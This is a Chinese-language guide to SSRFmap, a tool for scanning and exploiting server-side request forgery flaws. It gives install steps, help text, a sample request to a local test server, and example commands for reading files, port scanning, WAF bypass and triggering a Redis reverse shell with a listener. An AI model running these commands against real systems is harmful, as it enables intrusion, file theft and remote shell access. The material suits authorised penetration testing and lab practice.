SSRF漏洞扫描与利用工具
工具介绍
SSRFmap是一款SSRF漏洞自动扫描与利用工具，同时它也整合了一些常用漏洞可以结合 SSRF去利用，比如fastjson、mysql、github的一些历史漏洞，还有端口扫描、读取文件等利用功能，都是实用的漏洞利用能力。
功能模块
工具安装
$ cd SSRFmap/$ pip3 install -r requirements.txt$ cd SSRFmap/$ pip3 install -r requirements.txt$ python3 ssrfmap.pyusage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER][-v [VERBOSE]] [--lhost LHOST] [--lport LPORT][--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]optional arguments:-h, --help show this help message and exit-r REQFILE SSRF Request file-p PARAM SSRF Parameter to target-m MODULES SSRF Modules to enable-l HANDLER Start an handler for a reverse shell-v [VERBOSE] Enable verbosity--lhost LHOST LHOST reverse shell--lport LPORT LPORT reverse shell--uagent USERAGENT User Agent to use--ssl [SSL] Use HTTPS without verification--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)--level [LEVEL] Level of test to perform (1-5, default: 1)
$ python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
optional arguments: -h, --help show this help message and exit -r REQFILE SSRF Request file -p PARAM SSRF Parameter to target -m MODULES SSRF Modules to enable -l HANDLER Start an handler for a reverse shell -v [VERBOSE] Enable verbosity --lhost LHOST LHOST reverse shell --lport LPORT LPORT reverse shell --uagent USERAGENT User Agent to use --ssl [SSL] Use HTTPS without verification --proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) --level [LEVEL] Level of test to perform (1-5, default: 1)
工具使用
POST /ssrf HTTP/1.1Host: 127.0.0.1:5000User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://mysimple.ssrf/Content-Type: application/x-www-form-urlencodedContent-Length: 31Connection: closeUpgrade-Insecure-Requests: 1url=https%3A%2F%2Fwww.google.fr
首先，您需要一个带有参数的请求来进行模糊测试，Burp请求与SSRFmap配合良好。它们应该如下所示。/data文件夹中提供了更多示例。
POST /ssrf HTTP/1.1Host: 127.0.0.1:5000User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://mysimple.ssrf/Content-Type: application/x-www-form-urlencodedContent-Length: 31Connection: closeUpgrade-Insecure-Requests: 1
url=https%3A%2F%2Fwww.google.fr
使用-m后跟模块名称（如果要启动多个模块，则用a分隔）。
# Launch a portscan on localhost and read default filespython ssrfmap.py -r data/request.txt -p url -m readfiles,portscan
如果您需要自定义用户代理，请使用--uagent. 某些目标将使用HTTPS，您可以使用启用它--ssl。
# Launch a portscan against an HTTPS endpoint using a custom user-agentpython ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
有些模块允许您创建回连，您必须指定LHOST和LPORT。SSRFmap还可以侦听传入的反向shell。
# Triggering a reverse shell on a Redispython ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
# -l create a listener for reverse shell on the specified port# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
当目标受WAF或某些过滤器保护时，您可以尝试使用参数的各种有效负载和编码--level。
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
SSRFmap测试
可以使用SSRF服务来快速测试框架data/example.py。
FLASK_APP=data/example.py flask run &python ssrfmap.py -r data/request.txt -p url -m readfiles
FLASK_APP=data/example.py flask run &python ssrfmap.py -r data/request.txt -p url -m readfiles
